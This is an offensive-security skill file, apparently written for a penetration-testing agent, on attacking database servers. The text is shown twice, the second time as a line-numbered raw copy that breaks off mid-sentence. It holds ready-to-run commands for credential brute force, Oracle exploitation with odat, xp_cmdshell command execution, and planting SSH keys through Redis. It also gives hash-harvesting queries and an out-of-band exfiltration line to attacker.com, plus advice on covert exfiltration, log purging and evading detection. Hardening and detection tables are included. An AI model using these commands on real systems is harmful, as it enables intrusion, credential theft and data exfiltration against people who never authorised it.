Database Attack
Supplementary Files:
payloads.md — Attack payloads organized by database type: Oracle, MySQL/MariaDB, PostgreSQL, MSSQL/Sybase, Redis, MongoDB, and multi-protocol brute force
test-cases.md — Structured test case templates (8 cases covering enumeration, exploitation, brute-force, and post-exploitation across 6 database types)
guides/oracle-database-attack.md — Oracle database attack deep dive: TNS listener, odat exploitation, privilege escalation
guides/redis-mongodb-unauth.md — Redis and MongoDB unauthenticated access, misconfiguration exploitation, and data exfiltration
guides/database-bruteforce.md — Database protocol brute-forcing with hydra, ncrack, and patator
Summary
This skill targets database listeners, authentication mechanisms, stored procedures, and protocol-level misconfigurations.
Tools: odat, oscanner, sqsh, redis-tools, mongoaudit, patator, ncrack, hydra
Domain: database
MITRE ATT&CK: TA0006-Credential Access
Description
Direct attacks against database servers at the protocol level — distinct from web-based SQL injection (covered by web-sqli). This skill targets database listeners, authentication mechanisms, stored procedures, and protocol-level misconfigurations. Covers Oracle TNS, MySQL, PostgreSQL, MSSQL/Sybase, Redis, and MongoDB.
While web-sqli exploits application-layer vulnerabilities to inject SQL through HTTP, this skill attacks the database server directly: brute-forcing credentials over the wire, exploiting default configurations, abusing stored procedures for OS command execution, and exfiltrating data through native database protocols.
Use Cases
- Database server enumeration — Discover database listeners on the network, fingerprint DBMS type and version, identify running services and configuration weaknesses
- Authentication brute-force — Test database credentials against Oracle TNS, MySQL, PostgreSQL, MSSQL, and other database protocols using targeted wordlists
- Oracle exploitation — Exploit Oracle TNS listener misconfigurations, leverage odat for SID enumeration, credential extraction, file read/write, and OS command execution
- NoSQL misconfiguration abuse — Exploit unauthenticated Redis and MongoDB instances, read/write files, execute Lua scripts, exfiltrate data
- MSSQL post-authentication exploitation — Leverage xp_cmdshell and stored procedures for OS command execution after gaining database credentials
- PostgreSQL privilege escalation — Exploit misconfigured roles, abuse COPY/lo_import for file access, leverage PL/Python or PL/Perl for code execution
Core Tools
| Tool |
Purpose |
Command Example |
| odat |
Oracle database attack toolkit — SID guessing, credential brute-force, file read/write, OS command exec |
odat all -s 192.168.1.100 -d ORCL |
| oscanner |
Oracle TNS listener scanning and enumeration |
oscanner -s 192.168.1.100 |
| sqsh |
Sybase/MSSQL interactive shell with command pipelining |
sqsh -S 192.168.1.100 -U sa -P '' |
| redis-tools |
Redis CLI client for unauthenticated access and exploitation |
redis-cli -h 192.168.1.100 INFO |
| mongoaudit |
MongoDB security auditing tool for misconfiguration detection |
mongoaudit -h 192.168.1.100 -p 27017 |
| patator |
Multi-protocol brute-forcer with modular design |
patator mysql_login host=192.168.1.100 user=FILE0 password=FILE1 |
| ncrack |
High-speed network authentication cracking (SSH/RDP/database protocols) |
ncrack -p 3306 192.168.1.100 -u root -P passwords.txt |
| hydra |
Online brute-force supporting 50+ protocols including database modules |
hydra -l root -P passwords.txt mysql://192.168.1.100 |
Methodology
Attack Chain
Recon & Discovery → Service Enumeration → Authentication Testing → Exploitation → Post-Exploitation
(nmap/oscanner) (odat/SID guess) (hydra/ncrack/patator) (odat/sqsh) (xp_cmdshell/file ops)
Phase 1: Recon and Discovery
- Port scan common database ports: Oracle (1521), MySQL (3306), PostgreSQL (5432), MSSQL (1433), Redis (6379), MongoDB (27017)
- Identify database type and version via banner grabbing or protocol probing
- Detect default or misconfigured instances (empty passwords, anonymous access)
Phase 2: Service Enumeration
- Oracle: enumerate SIDs with odat, scan TNS listener with oscanner, identify valid database names
- MSSQL/Sybase: enumerate databases and server properties with sqsh
- Redis: test unauthenticated access with redis-cli, enumerate keys and configuration
- MongoDB: test unauthenticated access, enumerate databases and collections with mongoaudit
Phase 3: Authentication Testing
- Brute-force database credentials with hydra, ncrack, or patator
- Test default credentials: Oracle (sys/change_on_install), MySQL (root/empty), MSSQL (sa/empty), PostgreSQL (postgres/postgres)
- Use database-specific wordlists and username patterns (dba, admin, backup, replication)
Phase 4: Exploitation
- Oracle: exploit with odat — read/write files via UTL_FILE, execute OS commands via DBMS_SCHEDULER, extract credentials from DB links
- MSSQL: enable and use xp_cmdshell for OS command execution, extract hashes from sys.sql_logins
- PostgreSQL: abuse COPY for file read, exploit PL/Python/PL/Perl for code execution, use lo_import for binary file access
- Redis: write SSH authorized_keys or web shells via CONFIG SET dir/dbfilename, load malicious modules
- MongoDB: exploit NoSQL injection, abuse eval/MapReduce for code execution
Phase 5: Post-Exploitation
- Extract all credentials and hashes from database system tables
- Pivot to other database instances using discovered DB links or replication credentials
- Establish persistence via database jobs, triggers, or stored procedures
- Cover tracks by purging audit logs and database logs
Defense Perspective
| Defense Measure |
Description |
Priority |
| Network segmentation |
Database servers on isolated VLANs, no direct internet access |
CRITICAL |
| Strong authentication |
Enforce password policies, disable default accounts, use multi-factor where supported |
CRITICAL |
| Encryption in transit |
TLS for all database connections, disable plaintext protocols |
HIGH |
| Least privilege roles |
Application accounts with minimal required permissions, no DBA privileges |
HIGH |
| Disable dangerous features |
Turn off xp_cmdshell, disable UTL_FILE, restrict DBMS_SCHEDULER |
HIGH |
| Audit logging |
Enable and monitor database audit logs for brute-force attempts |
MEDIUM |
| Intrusion detection |
Network IDS rules for known database attack patterns |
MEDIUM |
Practical Steps
See payloads.md for detailed commands, and test-cases.md for complete test checklists. Below is a summary of core operations at each stage.
Step 1: Discover and Fingerprint Database Services
# Scan common database ports
nmap -sV -p 1521,3306,5432,1433,6379,27017 192.168.1.0/24
# Oracle-specific scan with oscanner
oscanner -s 192.168.1.100
# Quick Redis unauthenticated access test
redis-cli -h 192.168.1.100 INFO server
# MongoDB connection test
mongo --host 192.168.1.100 --port 27017 --eval "db.adminCommand('listDatabases')"
Step 2: Enumerate and Test Authentication
# Oracle SID enumeration with odat
odat sidguesser -s 192.168.1.100 -p 1521
# Oracle password brute-force
odat passwordguesser -s 192.168.1.100 -d ORCL
# MySQL brute-force with hydra
hydra -L users.txt -P passwords.txt mysql://192.168.1.100
# MSSQL connection test with sqsh (empty sa password)
sqsh -S 192.168.1.100 -U sa -P '' -C "SELECT @@version"
Step 3: Exploit and Escalate
# Oracle full exploitation with odat
odat all -s 192.168.1.100 -d ORCL -U sys -P change_on_install
# MSSQL OS command execution via xp_cmdshell
sqsh -S 192.168.1.100 -U sa -P password -C "xp_cmdshell 'whoami'"
# Redis write SSH authorized_keys
redis-cli -h 192.168.1.100 CONFIG SET dir /root/.ssh
redis-cli -h 192.168.1.100 CONFIG SET dbfilename authorized_keys
Common Pitfalls
- Attempting to brute-force database accounts without checking for lockout policies first — can cause denial of service
- Ignoring Oracle SID enumeration — without the correct SID, no Oracle exploitation is possible
- Treating Redis and MongoDB as authenticated services — many deployments run with no authentication by design
- Forgetting to check for database links and replication channels — these are lateral movement paths
- Running aggressive brute-force against production databases — use low thread counts and extended delays
- Overlooking database file permissions — SQLite databases, MySQL data files, and PostgreSQL data directories may be readable by the OS user
Integration with Other Skills
- web-sqli: SQL injection through web applications — database-attack complements this by attacking the DB server directly
- password-attack: Generic brute-force techniques — database-attack specializes in database protocol brute-force with DB-specific defaults
- post-exploitation: Credential harvesting and lateral movement using database access
- network-pentest: Database service discovery during network enumeration
- privilege-escalation: Using database access to escalate OS-level privileges
Legal and Ethical Considerations
Direct database attacks carry severe legal risk — database servers often contain regulated data (PII, financial records, health information). Always confirm database attacks are within authorized scope. Brute-force attacks against production databases risk account lockouts and performance degradation. Data exfiltration must be minimized and documented; extract only enough to prove the vulnerability exists. Destroy all extracted data after the engagement unless retention is explicitly authorized.
Database Attack Categories
Database attacks can be classified into five major categories based on the attack vector and the layer being targeted:
Protocol-Level Attacks — Direct interaction with database listeners over their native wire protocols (TNS for Oracle, MySQL protocol, PostgreSQL wire protocol, TDS for MSSQL). These attacks bypass application-layer defenses entirely and target authentication, configuration, and service enumeration.
Authentication Attacks — Brute-forcing credentials, testing default accounts, exploiting weak password policies, and abusing trust-based authentication (PostgreSQL pg_hba.conf trust entries, MySQL empty root passwords, Redis no-auth deployments). Authentication attacks are often the first successful vector against database servers.
Privilege Escalation — After gaining initial database access with a low-privilege account, attackers escalate through SQL injection in stored procedures, exploiting public package grants (Oracle DBMS_SCHEDULER), abusing GRANT OPTION chains, and leveraging misconfigured role hierarchies. Many databases ship with privilege escalation paths built into their default configurations.
Data Exfiltration — Extracting data through database-native export tools (mysqldump, pg_dump, mongoexport), file read capabilities (LOAD_FILE, COPY, UTL_FILE), and covert channels like DNS tunneling from within stored procedures. The goal is to prove access to sensitive data while minimizing forensic footprint.
Post-Exploitation — Using database access as a pivot point: executing OS commands via xp_cmdshell, PL/Python, DBMS_SCHEDULER; writing files for persistence (SSH keys, cron jobs, web shells); and harvesting credentials from database links and replication configurations for lateral movement.
Credential Harvesting from Databases
Database servers are credential goldmines in enterprise environments. They store credentials for applications, other databases, and external services in multiple locations:
Direct Credential Storage:
- MySQL:
mysql.user table stores authentication strings (SHA256 or caching_sha2_password)
- PostgreSQL:
pg_authid catalog stores role passwords
- MSSQL:
sys.sql_logins stores password hashes (SHA-512 with salt since SQL Server 2012)
- Oracle:
SYS.USER$ table stores password hashes (DES-based and SHA-256)
Embedded Credentials:
- Database links (Oracle DB_LINKS, MSSQL Linked Servers) contain cleartext or hashed credentials for remote database instances
- Application connection strings stored in configuration tables
- SSIS packages, stored procedures, and agent jobs often embed credentials
- Replication configurations contain distributor and subscriber credentials
Harvesting Commands:
# MySQL credential extraction
mysql -u root -e "SELECT user, host, authentication_string FROM mysql.user"
# PostgreSQL credential extraction
psql -U postgres -c "SELECT rolname, rolpassword FROM pg_authid WHERE rolpassword IS NOT NULL"
# MSSQL credential extraction
sqsh -S target -U sa -C "SELECT name, password_hash FROM sys.sql_logins"
# Oracle credential extraction via odat
odat passwordstealer -s 192.168.1.100 -d ORCL -U sys -P password
Cracking Database Hashes:
- MySQL 5.x+: hashcat mode 300 (SHA1), mode 3000 (LM)
- MSSQL 2012+: hashcat mode 1731 (SHA-512)
- PostgreSQL MD5: hashcat mode 11 (or custom mode with
md5 prefix)
- Oracle 11g+: hashcat mode 112 (Oracle 11g)
Data Exfiltration Techniques
Extracting data from compromised databases requires different approaches depending on the database type, available privileges, and network restrictions:
Bulk Export Tools: Use native database export tools for maximum efficiency — mysqldump for MySQL, pg_dump for PostgreSQL, mongoexport/mongodump for MongoDB, expdp for Oracle. These tools handle character encoding, binary data, and schema relationships automatically.
Targeted Extraction: When bulk export is too noisy or time-consuming, extract specific high-value data: user tables, credit card columns, PII fields, authentication tokens. Use SELECT INTO OUTFILE (MySQL), COPY TO (PostgreSQL), or scripted extraction through query interfaces.
Covert Exfiltration Channels: When network monitoring blocks direct data transfer, use covert channels: encoding data into DNS queries via stored procedures, writing data to files accessible through web servers, using database replication to copy data to attacker-controlled replicas, or leveraging database backup mechanisms to exfiltrate through scheduled backup jobs.
Anti-Forensic Considerations: Minimize audit trail by understanding what the target database logs: MySQL general_log and slow_query_log, PostgreSQL pg_stat_activity and custom audit extensions, Oracle unified auditing, MSSQL SQL Server Audit. Avoid SELECT * in favor of targeted column extraction to reduce log verbosity.
Database Hardening Checklist
| Category |
Control |
Priority |
| Network |
Database on isolated VLAN with no internet access |
CRITICAL |
| Network |
Firewall rules restricting source IPs to application servers |
CRITICAL |
| Network |
TLS encryption for all connections |
HIGH |
| Authentication |
Strong password policies enforced |
CRITICAL |
| Authentication |
All default accounts disabled or removed |
CRITICAL |
| Authentication |
Multi-factor authentication for DBA access |
HIGH |
| Authentication |
Account lockout after N failed attempts |
HIGH |
| Authorization |
Least-privilege role assignments |
HIGH |
| Authorization |
No application accounts with DBA/superuser privileges |
HIGH |
| Authorization |
Regular access reviews and certification |
MEDIUM |
| Configuration |
Dangerous features disabled (xp_cmdshell, UTL_FILE, DBMS_SCHEDULER) |
HIGH |
| Configuration |
File system access restricted to database data directories only |
HIGH |
| Configuration |
Module loading disabled |
HIGH |
| Audit |
Comprehensive audit logging enabled |
HIGH |
| Audit |
Real-time alerting on privilege escalation events |
MEDIUM |
| Audit |
Regular log review and anomaly detection |
MEDIUM |
| Patching |
Database server patched within 30 days of critical CVE |
CRITICAL |
| Patching |
Quarterly patch assessment for non-critical updates |
MEDIUM |
| Backup |
Encrypted backups with tested restore procedures |
HIGH |
| Monitoring |
Database activity monitoring (DAM) solution deployed |
MEDIUM |
Privilege Escalation in Databases
Database privilege escalation follows distinct paths depending on the DBMS:
MySQL Privilege Escalation:
- Check
SHOW GRANTS FOR CURRENT_USER() for available privileges
- If
FILE privilege: read/write OS files via LOAD_FILE() and INTO OUTFILE
- If
GRANT OPTION: escalate other users or create new admin accounts
- If
SUPER privilege: load custom UDF libraries for OS command execution
- If
CREATE ROUTINE with EXECUTE: create SUID routines that execute with definer privileges
PostgreSQL Privilege Escalation:
- Check
pg_roles for role attributes (SUPERUSER, CREATEROLE, CREATEDB)
- If
CREATEROLE: create a superuser account directly
- If
CREATE EXTENSION: load plpython3u or plperlu for code execution
- If superuser:
COPY TO PROGRAM for OS command execution
- Large object functions (
lo_import, lo_export) for file system access
MSSQL Privilege Escalation:
- Check
IS_SRVROLEMEMBER('sysadmin') and IS_MEMBER('db_owner')
- If
db_owner on a database: create stored procedures with EXECUTE AS OWNER
- If
IMPERSONATE permission: use EXECUTE AS LOGIN to elevate
- If
sysadmin: enable xp_cmdshell for direct OS command execution
- Abuse
OPENROWSET and OPENDATASOURCE for cross-server queries with delegated credentials
Oracle Privilege Escalation:
- Query
DBA_SYS_PRIVS and SESSION_PRIVS for current privilege set
- Exploit
PUBLIC grants on packages like DBMS_SCHEDULER, UTL_FILE
- SQL injection in Oracle-supplied PL/SQL packages (version-specific CVEs)
CREATE ANY PROCEDURE privilege allows executing code in SYS schema
- Database link escalation: traverse DB links to reach higher-privilege instances
Detection Methods
Database Audit Logs
- Failed auth burst: >10 failed logins per minute from same IP (brute force signature).
- Anomalous SELECT:
SELECT * FROM users from application service account (normally only specific columns).
- Schema enumeration: Queries against
information_schema.tables, sys.tables, ALL_TABLES.
- Bulk export:
pg_dump, mysqldump, bcp from non-admin source.
SIEM Detection Rules
- Splunk SPL:
index=db sourcetype=postgresql:query | where query matches "pg_read_file|COPY TO"
- Native audit: PostgreSQL
pg_audit, MySQL Enterprise Audit, Oracle Audit Vault.
- Imperva Data Security: Database activity monitoring (DAM) platform.
- Microsoft Defender for SQL: Native SQL Server threat detection.
Defense Evasion Techniques
SQL Injection Stealth
- Time-based blind:
IF(condition, SLEEP(5), 0) — extract via timing without output.
- Out-of-band exfil:
LOAD_FILE('\\\\ attacker.com\\x') (MySQL); xp_dirtree (MSSQL) for DNS exfil.
- Distributed queries: Spread SQLi attempts across many sessions; below rate threshold.
- Encoding tricks: Hex (
0x), char(), URL encoding to evade WAF.
Query Stealth
- Use indexed columns: Avoid full table scans that trigger audit alerts.
- Limit results:
LIMIT 100 per query; below bulk export threshold.
- Off-hours queries: Run during low-activity windows.
- Reuse legitimate connections: Don't create new DB connections; use connection pool.
Lateral Movement Stealth
- Linked servers (SQL Server): Use
sp_addlinkedserver for cross-DB access; appears as legitimate config.
- PL/SQL packages (Oracle): Use legitimate packages (UTL_HTTP, DBMS_LDAP) for outbound.
- CLR assembly (SQL Server): Load malicious .NET assembly; persists across reboots.
- Stored procedure persistence: Backdoor stored procedure; activates on specific trigger.
Learning Resources
1---2name: database-attack3description: Direct attacks against database servers at the protocol level — distinct from web-based SQL injection (covered by web-sqli). This skill targets database listeners, authentication mechanisms, stored procedures, and protocol-level misconfigurations.4---56# Database Attack78> **Supplementary Files**:9> - `payloads.md` — Attack payloads organized by database type: Oracle, MySQL/MariaDB, PostgreSQL, MSSQL/Sybase, Redis, MongoDB, and multi-protocol brute force10> - `test-cases.md` — Structured test case templates (8 cases covering enumeration, exploitation, brute-force, and post-exploitation across 6 database types)11> - `guides/oracle-database-attack.md` — Oracle database attack deep dive: TNS listener, odat exploitation, privilege escalation12> - `guides/redis-mongodb-unauth.md` — Redis and MongoDB unauthenticated access, misconfiguration exploitation, and data exfiltration13> - `guides/database-bruteforce.md` — Database protocol brute-forcing with hydra, ncrack, and patator1415## Summary1617This skill targets database listeners, authentication mechanisms, stored procedures, and protocol-level misconfigurations.1819**Tools**: odat, oscanner, sqsh, redis-tools, mongoaudit, patator, ncrack, hydra2021**Domain**: database2223**MITRE ATT&CK**: TA0006-Credential Access2425## Description2627Direct attacks against database servers at the protocol level — distinct from web-based SQL injection (covered by web-sqli). This skill targets database listeners, authentication mechanisms, stored procedures, and protocol-level misconfigurations. Covers Oracle TNS, MySQL, PostgreSQL, MSSQL/Sybase, Redis, and MongoDB.2829While web-sqli exploits application-layer vulnerabilities to inject SQL through HTTP, this skill attacks the database server directly: brute-forcing credentials over the wire, exploiting default configurations, abusing stored procedures for OS command execution, and exfiltrating data through native database protocols.3031## Use Cases32331. **Database server enumeration** — Discover database listeners on the network, fingerprint DBMS type and version, identify running services and configuration weaknesses342. **Authentication brute-force** — Test database credentials against Oracle TNS, MySQL, PostgreSQL, MSSQL, and other database protocols using targeted wordlists353. **Oracle exploitation** — Exploit Oracle TNS listener misconfigurations, leverage odat for SID enumeration, credential extraction, file read/write, and OS command execution364. **NoSQL misconfiguration abuse** — Exploit unauthenticated Redis and MongoDB instances, read/write files, execute Lua scripts, exfiltrate data375. **MSSQL post-authentication exploitation** — Leverage xp_cmdshell and stored procedures for OS command execution after gaining database credentials386. **PostgreSQL privilege escalation** — Exploit misconfigured roles, abuse COPY/lo_import for file access, leverage PL/Python or PL/Perl for code execution3940## Core Tools4142| Tool | Purpose | Command Example |43|------|---------|-----------------|44| **odat** | Oracle database attack toolkit — SID guessing, credential brute-force, file read/write, OS command exec | `odat all -s 192.168.1.100 -d ORCL` |45| **oscanner** | Oracle TNS listener scanning and enumeration | `oscanner -s 192.168.1.100` |46| **sqsh** | Sybase/MSSQL interactive shell with command pipelining | `sqsh -S 192.168.1.100 -U sa -P ''` |47| **redis-tools** | Redis CLI client for unauthenticated access and exploitation | `redis-cli -h 192.168.1.100 INFO` |48| **mongoaudit** | MongoDB security auditing tool for misconfiguration detection | `mongoaudit -h 192.168.1.100 -p 27017` |49| **patator** | Multi-protocol brute-forcer with modular design | `patator mysql_login host=192.168.1.100 user=FILE0 password=FILE1` |50| **ncrack** | High-speed network authentication cracking (SSH/RDP/database protocols) | `ncrack -p 3306 192.168.1.100 -u root -P passwords.txt` |51| **hydra** | Online brute-force supporting 50+ protocols including database modules | `hydra -l root -P passwords.txt mysql://192.168.1.100` |5253## Methodology5455### Attack Chain5657```58Recon & Discovery → Service Enumeration → Authentication Testing → Exploitation → Post-Exploitation59 (nmap/oscanner) (odat/SID guess) (hydra/ncrack/patator) (odat/sqsh) (xp_cmdshell/file ops)60```6162**Phase 1: Recon and Discovery**6364- Port scan common database ports: Oracle (1521), MySQL (3306), PostgreSQL (5432), MSSQL (1433), Redis (6379), MongoDB (27017)65- Identify database type and version via banner grabbing or protocol probing66- Detect default or misconfigured instances (empty passwords, anonymous access)6768**Phase 2: Service Enumeration**6970- Oracle: enumerate SIDs with odat, scan TNS listener with oscanner, identify valid database names71- MSSQL/Sybase: enumerate databases and server properties with sqsh72- Redis: test unauthenticated access with redis-cli, enumerate keys and configuration73- MongoDB: test unauthenticated access, enumerate databases and collections with mongoaudit7475**Phase 3: Authentication Testing**7677- Brute-force database credentials with hydra, ncrack, or patator78- Test default credentials: Oracle (sys/change_on_install), MySQL (root/empty), MSSQL (sa/empty), PostgreSQL (postgres/postgres)79- Use database-specific wordlists and username patterns (dba, admin, backup, replication)8081**Phase 4: Exploitation**8283- Oracle: exploit with odat — read/write files via UTL_FILE, execute OS commands via DBMS_SCHEDULER, extract credentials from DB links84- MSSQL: enable and use xp_cmdshell for OS command execution, extract hashes from sys.sql_logins85- PostgreSQL: abuse COPY for file read, exploit PL/Python/PL/Perl for code execution, use lo_import for binary file access86- Redis: write SSH authorized_keys or web shells via CONFIG SET dir/dbfilename, load malicious modules87- MongoDB: exploit NoSQL injection, abuse eval/MapReduce for code execution8889**Phase 5: Post-Exploitation**9091- Extract all credentials and hashes from database system tables92- Pivot to other database instances using discovered DB links or replication credentials93- Establish persistence via database jobs, triggers, or stored procedures94- Cover tracks by purging audit logs and database logs9596### Defense Perspective9798| Defense Measure | Description | Priority |99|-----------------|-------------|----------|100| Network segmentation | Database servers on isolated VLANs, no direct internet access | CRITICAL |101| Strong authentication | Enforce password policies, disable default accounts, use multi-factor where supported | CRITICAL |102| Encryption in transit | TLS for all database connections, disable plaintext protocols | HIGH |103| Least privilege roles | Application accounts with minimal required permissions, no DBA privileges | HIGH |104| Disable dangerous features | Turn off xp_cmdshell, disable UTL_FILE, restrict DBMS_SCHEDULER | HIGH |105| Audit logging | Enable and monitor database audit logs for brute-force attempts | MEDIUM |106| Intrusion detection | Network IDS rules for known database attack patterns | MEDIUM |107108## Practical Steps109110> **See payloads.md for detailed commands, and test-cases.md for complete test checklists.** Below is a summary of core operations at each stage.111112### Step 1: Discover and Fingerprint Database Services113114```bash115# Scan common database ports116nmap -sV -p 1521,3306,5432,1433,6379,27017 192.168.1.0/24117118# Oracle-specific scan with oscanner119oscanner -s 192.168.1.100120121# Quick Redis unauthenticated access test122redis-cli -h 192.168.1.100 INFO server123124# MongoDB connection test125mongo --host 192.168.1.100 --port 27017 --eval "db.adminCommand('listDatabases')"126```127128### Step 2: Enumerate and Test Authentication129130```bash131# Oracle SID enumeration with odat132odat sidguesser -s 192.168.1.100 -p 1521133134# Oracle password brute-force135odat passwordguesser -s 192.168.1.100 -d ORCL136137# MySQL brute-force with hydra138hydra -L users.txt -P passwords.txt mysql://192.168.1.100139140# MSSQL connection test with sqsh (empty sa password)141sqsh -S 192.168.1.100 -U sa -P '' -C "SELECT @@version"142```143144### Step 3: Exploit and Escalate145146```bash147# Oracle full exploitation with odat148odat all -s 192.168.1.100 -d ORCL -U sys -P change_on_install149150# MSSQL OS command execution via xp_cmdshell151sqsh -S 192.168.1.100 -U sa -P password -C "xp_cmdshell 'whoami'"152153# Redis write SSH authorized_keys154redis-cli -h 192.168.1.100 CONFIG SET dir /root/.ssh155redis-cli -h 192.168.1.100 CONFIG SET dbfilename authorized_keys156```157158## Common Pitfalls159160- Attempting to brute-force database accounts without checking for lockout policies first — can cause denial of service161- Ignoring Oracle SID enumeration — without the correct SID, no Oracle exploitation is possible162- Treating Redis and MongoDB as authenticated services — many deployments run with no authentication by design163- Forgetting to check for database links and replication channels — these are lateral movement paths164- Running aggressive brute-force against production databases — use low thread counts and extended delays165- Overlooking database file permissions — SQLite databases, MySQL data files, and PostgreSQL data directories may be readable by the OS user166167## Integration with Other Skills168169- **web-sqli**: SQL injection through web applications — database-attack complements this by attacking the DB server directly170- **password-attack**: Generic brute-force techniques — database-attack specializes in database protocol brute-force with DB-specific defaults171- **post-exploitation**: Credential harvesting and lateral movement using database access172- **network-pentest**: Database service discovery during network enumeration173- **privilege-escalation**: Using database access to escalate OS-level privileges174175## Legal and Ethical Considerations176177Direct database attacks carry severe legal risk — database servers often contain regulated data (PII, financial records, health information). Always confirm database attacks are within authorized scope. Brute-force attacks against production databases risk account lockouts and performance degradation. Data exfiltration must be minimized and documented; extract only enough to prove the vulnerability exists. Destroy all extracted data after the engagement unless retention is explicitly authorized.178179## Database Attack Categories180181Database attacks can be classified into five major categories based on the attack vector and the layer being targeted:1821831. **Protocol-Level Attacks** — Direct interaction with database listeners over their native wire protocols (TNS for Oracle, MySQL protocol, PostgreSQL wire protocol, TDS for MSSQL). These attacks bypass application-layer defenses entirely and target authentication, configuration, and service enumeration.1841852. **Authentication Attacks** — Brute-forcing credentials, testing default accounts, exploiting weak password policies, and abusing trust-based authentication (PostgreSQL `pg_hba.conf` trust entries, MySQL empty root passwords, Redis no-auth deployments). Authentication attacks are often the first successful vector against database servers.1861873. **Privilege Escalation** — After gaining initial database access with a low-privilege account, attackers escalate through SQL injection in stored procedures, exploiting public package grants (Oracle DBMS_SCHEDULER), abusing GRANT OPTION chains, and leveraging misconfigured role hierarchies. Many databases ship with privilege escalation paths built into their default configurations.1881894. **Data Exfiltration** — Extracting data through database-native export tools (mysqldump, pg_dump, mongoexport), file read capabilities (LOAD_FILE, COPY, UTL_FILE), and covert channels like DNS tunneling from within stored procedures. The goal is to prove access to sensitive data while minimizing forensic footprint.1901915. **Post-Exploitation** — Using database access as a pivot point: executing OS commands via xp_cmdshell, PL/Python, DBMS_SCHEDULER; writing files for persistence (SSH keys, cron jobs, web shells); and harvesting credentials from database links and replication configurations for lateral movement.192193## Credential Harvesting from Databases194195Database servers are credential goldmines in enterprise environments. They store credentials for applications, other databases, and external services in multiple locations:196197**Direct Credential Storage**:198- MySQL: `mysql.user` table stores authentication strings (SHA256 or caching_sha2_password)199- PostgreSQL: `pg_authid` catalog stores role passwords200- MSSQL: `sys.sql_logins` stores password hashes (SHA-512 with salt since SQL Server 2012)201- Oracle: `SYS.USER$` table stores password hashes (DES-based and SHA-256)202203**Embedded Credentials**:204- Database links (Oracle DB_LINKS, MSSQL Linked Servers) contain cleartext or hashed credentials for remote database instances205- Application connection strings stored in configuration tables206- SSIS packages, stored procedures, and agent jobs often embed credentials207- Replication configurations contain distributor and subscriber credentials208209**Harvesting Commands**:210211```bash212# MySQL credential extraction213mysql -u root -e "SELECT user, host, authentication_string FROM mysql.user"214215# PostgreSQL credential extraction216psql -U postgres -c "SELECT rolname, rolpassword FROM pg_authid WHERE rolpassword IS NOT NULL"217218# MSSQL credential extraction219sqsh -S target -U sa -C "SELECT name, password_hash FROM sys.sql_logins"220221# Oracle credential extraction via odat222odat passwordstealer -s 192.168.1.100 -d ORCL -U sys -P password223```224225**Cracking Database Hashes**:226- MySQL 5.x+: hashcat mode 300 (SHA1), mode 3000 (LM)227- MSSQL 2012+: hashcat mode 1731 (SHA-512)228- PostgreSQL MD5: hashcat mode 11 (or custom mode with `md5` prefix)229- Oracle 11g+: hashcat mode 112 (Oracle 11g)230231## Data Exfiltration Techniques232233Extracting data from compromised databases requires different approaches depending on the database type, available privileges, and network restrictions:234235**Bulk Export Tools**: Use native database export tools for maximum efficiency — `mysqldump` for MySQL, `pg_dump` for PostgreSQL, `mongoexport`/`mongodump` for MongoDB, `expdp` for Oracle. These tools handle character encoding, binary data, and schema relationships automatically.236237**Targeted Extraction**: When bulk export is too noisy or time-consuming, extract specific high-value data: user tables, credit card columns, PII fields, authentication tokens. Use `SELECT INTO OUTFILE` (MySQL), `COPY TO` (PostgreSQL), or scripted extraction through query interfaces.238239**Covert Exfiltration Channels**: When network monitoring blocks direct data transfer, use covert channels: encoding data into DNS queries via stored procedures, writing data to files accessible through web servers, using database replication to copy data to attacker-controlled replicas, or leveraging database backup mechanisms to exfiltrate through scheduled backup jobs.240241**Anti-Forensic Considerations**: Minimize audit trail by understanding what the target database logs: MySQL general_log and slow_query_log, PostgreSQL pg_stat_activity and custom audit extensions, Oracle unified auditing, MSSQL SQL Server Audit. Avoid SELECT * in favor of targeted column extraction to reduce log verbosity.242243## Database Hardening Checklist244245| Category | Control | Priority |246|----------|---------|----------|247| **Network** | Database on isolated VLAN with no internet access | CRITICAL |248| **Network** | Firewall rules restricting source IPs to application servers | CRITICAL |249| **Network** | TLS encryption for all connections | HIGH |250| **Authentication** | Strong password policies enforced | CRITICAL |251| **Authentication** | All default accounts disabled or removed | CRITICAL |252| **Authentication** | Multi-factor authentication for DBA access | HIGH |253| **Authentication** | Account lockout after N failed attempts | HIGH |254| **Authorization** | Least-privilege role assignments | HIGH |255| **Authorization** | No application accounts with DBA/superuser privileges | HIGH |256| **Authorization** | Regular access reviews and certification | MEDIUM |257| **Configuration** | Dangerous features disabled (xp_cmdshell, UTL_FILE, DBMS_SCHEDULER) | HIGH |258| **Configuration** | File system access restricted to database data directories only | HIGH |259| **Configuration** | Module loading disabled | HIGH |260| **Audit** | Comprehensive audit logging enabled | HIGH |261| **Audit** | Real-time alerting on privilege escalation events | MEDIUM |262| **Audit** | Regular log review and anomaly detection | MEDIUM |263| **Patching** | Database server patched within 30 days of critical CVE | CRITICAL |264| **Patching** | Quarterly patch assessment for non-critical updates | MEDIUM |265| **Backup** | Encrypted backups with tested restore procedures | HIGH |266| **Monitoring** | Database activity monitoring (DAM) solution deployed | MEDIUM |267268## Privilege Escalation in Databases269270Database privilege escalation follows distinct paths depending on the DBMS:271272**MySQL Privilege Escalation**:2731. Check `SHOW GRANTS FOR CURRENT_USER()` for available privileges2742. If `FILE` privilege: read/write OS files via `LOAD_FILE()` and `INTO OUTFILE`2753. If `GRANT OPTION`: escalate other users or create new admin accounts2764. If `SUPER` privilege: load custom UDF libraries for OS command execution2775. If `CREATE ROUTINE` with `EXECUTE`: create SUID routines that execute with definer privileges278279**PostgreSQL Privilege Escalation**:2801. Check `pg_roles` for role attributes (`SUPERUSER`, `CREATEROLE`, `CREATEDB`)2812. If `CREATEROLE`: create a superuser account directly2823. If `CREATE EXTENSION`: load `plpython3u` or `plperlu` for code execution2834. If superuser: `COPY TO PROGRAM` for OS command execution2845. Large object functions (`lo_import`, `lo_export`) for file system access285286**MSSQL Privilege Escalation**:2871. Check `IS_SRVROLEMEMBER('sysadmin')` and `IS_MEMBER('db_owner')`2882. If `db_owner` on a database: create stored procedures with `EXECUTE AS OWNER`2893. If `IMPERSONATE` permission: use `EXECUTE AS LOGIN` to elevate2904. If `sysadmin`: enable `xp_cmdshell` for direct OS command execution2915. Abuse `OPENROWSET` and `OPENDATASOURCE` for cross-server queries with delegated credentials292293**Oracle Privilege Escalation**:2941. Query `DBA_SYS_PRIVS` and `SESSION_PRIVS` for current privilege set2952. Exploit `PUBLIC` grants on packages like `DBMS_SCHEDULER`, `UTL_FILE`2963. SQL injection in Oracle-supplied PL/SQL packages (version-specific CVEs)2974. `CREATE ANY PROCEDURE` privilege allows executing code in SYS schema2985. Database link 